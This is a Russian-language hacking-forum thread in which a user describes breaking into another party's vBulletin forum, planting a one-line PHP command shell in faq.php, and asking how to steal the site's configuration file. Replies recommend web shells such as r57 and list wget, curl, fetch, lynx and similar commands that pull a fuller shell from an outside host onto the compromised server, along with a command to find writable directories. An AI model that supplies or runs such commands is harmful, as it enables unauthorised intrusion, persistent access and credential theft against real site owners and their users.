Имееться локальный форум была там папка Инсталл... Через нее успел сделать себя админом и установить Шелл через Фак! Теперь... Нужно как то через Шелл спереть один файл... Как можно реализовать... ПОмогите с командами к Шелу...
-
XSS.stack #1 – первый литературный журнал от юзеров форума
Shell и нужно стырить файлик...
- Автор темы dimooon
- Дата начала
В r57 есть кнопка - Скачать локальный файл или на мыло его себе отправить, или на фтп залить... Какой шелл у тебя?
- Автор темы
- Добавить закладку
- #3
Да я залил самый простой... в Вебулетин... Через ФАк! Он работает через веб интерфейс... мне нужно спереть конфиг к сайту... Но как... Была мысть копирнуть его в другую дерикторию или выставить права на него для скачки! Что подскажете ?
dimooon, используй шелл NetworkFileManagerPHP 1.8.......
Имхо очень понятный и легкий в обращении...
p.s скоро предоставлю обзор shell скритов в народ :unsure:
Имхо очень понятный и легкий в обращении...
:rus:
p.s скоро предоставлю обзор shell скритов в народ :unsure:
- Автор темы
- Добавить закладку
- #5
Спасибо) Пойду ломать опять... )
- Автор темы
- Добавить закладку
- #6
Как то не очень они спалили папку Инсталл... и сменили пароли... Может все таки можно как то слить файт с сервака ? В распоряжении только Веб Шелл через веб интерфейс...
dimooon, Какой у тебя шелл в распоряжении ?
- Автор темы
- Добавить закладку
- #8
Ну у него нет названия наверное я прописал в ФАК...:
system($_GET["cmd"]);
Теперь я могу выполнять команды такого рода:
forumpath/faq.php?cmd=тут команда
И при помощи вот жтого нужно стащить конфиг от форума....
system($_GET["cmd"]);
Теперь я могу выполнять команды такого рода:
forumpath/faq.php?cmd=тут команда
И при помощи вот жтого нужно стащить конфиг от форума....
dimooon - какие права у тя стойят?
- Автор темы
- Добавить закладку
- #10
Ну я смог создать папку.... Мне просто нужны комманды для копирования и переноса файлов на локальную машину.... Команды для chmod я думаю что есть права которые нужно...
dimooon, исчи в google....
p.s тебе не проще загрузить на сервер NetworkFileManagerPHP 1.8 через твой шелл и работать уже с NetworkFileManagerPHP 1.8 ?
p.s тебе не проще загрузить на сервер NetworkFileManagerPHP 1.8 через твой шелл и работать уже с NetworkFileManagerPHP 1.8 ?
- Автор темы
- Добавить закладку
- #12
а как загрузить не подскажешь ?
dimooon, в шеле у тебя только командная строка чтоль *?*
Посмотри в php коде, как называеться этот шелл...
Посмотри в php коде, как называеться этот шелл...
- Автор темы
- Добавить закладку
- #14
Только командная строчка.... и та через веб интерфейс.... А шела нет как такового... Можно ли залить с помощью "командной строчки" нормальный шелл?
У него вида /faq.php?cmd=
Методом тыка найди папки типа upload а потом уже командами типа get залей норм шелл...
Методом тыка найди папки типа upload а потом уже командами типа get залей норм шелл...
dimooon, у тебя хватило прав создать папку yourdir. Соответственно через ?cmd= ты делаешь:
cd /localpath/yourdir
wget http://domain.com/yourshellscript.tgz
tar xvzf yourshellscript.tgz
ну и дальше соответсно через браузер уже работаешь с залитым скриптом
//видимо файлы можно лить только в директорию где ФАК тоесть в корень сервера, тогда попробуй заливать файл в корень и путь до скрипта будет http://forum/yourshell.php
хз, я думаю так..
cd /localpath/yourdir
wget http://domain.com/yourshellscript.tgz
tar xvzf yourshellscript.tgz
ну и дальше соответсно через браузер уже работаешь с залитым скриптом
//видимо файлы можно лить только в директорию где ФАК тоесть в корень сервера, тогда попробуй заливать файл в корень и путь до скрипта будет http://forum/yourshell.php
хз, я думаю так..
команды заливки
wget http://kiborg.h10.ru/shell/simple.txt -O dump.php;ls -la
fetch -o dump.php -p http://kiborg.h10.ru/shell/simple.txt;ls -la
curl http://kiborg.h10.ru/shell/simple.txt -o dump.php;ls -la Sources
links -source http://kiborg.h10.ru/shell/simple.txt > dump.php;ls -la
lynx -source http://kiborg.h10.ru/shell/simple.txt > dump.php;ls -la
cd /tmp;pear download http://kiborg.h10.ru/shell/simple.txt
GET http://kiborg.h10.ru/shell/exec.c > /tmp/exec.c
cd /tmp;lwp-download http://kiborg.h10.ru/shell/exec.c
wget http://kiborg.h10.ru/shell/simple.txt -O dump.php;ls -la
fetch -o dump.php -p http://kiborg.h10.ru/shell/simple.txt;ls -la
curl http://kiborg.h10.ru/shell/simple.txt -o dump.php;ls -la Sources
links -source http://kiborg.h10.ru/shell/simple.txt > dump.php;ls -la
lynx -source http://kiborg.h10.ru/shell/simple.txt > dump.php;ls -la
cd /tmp;pear download http://kiborg.h10.ru/shell/simple.txt
GET http://kiborg.h10.ru/shell/exec.c > /tmp/exec.c
cd /tmp;lwp-download http://kiborg.h10.ru/shell/exec.c
только перед тем как залить файл тебе нужно найти доступные на запись директории =)
pwd (выводит полный путь)
find /путь/ -type d -perm -2 -ls
pwd (выводит полный путь)
find /путь/ -type d -perm -2 -ls
Статя интересная да вот ни4е непонял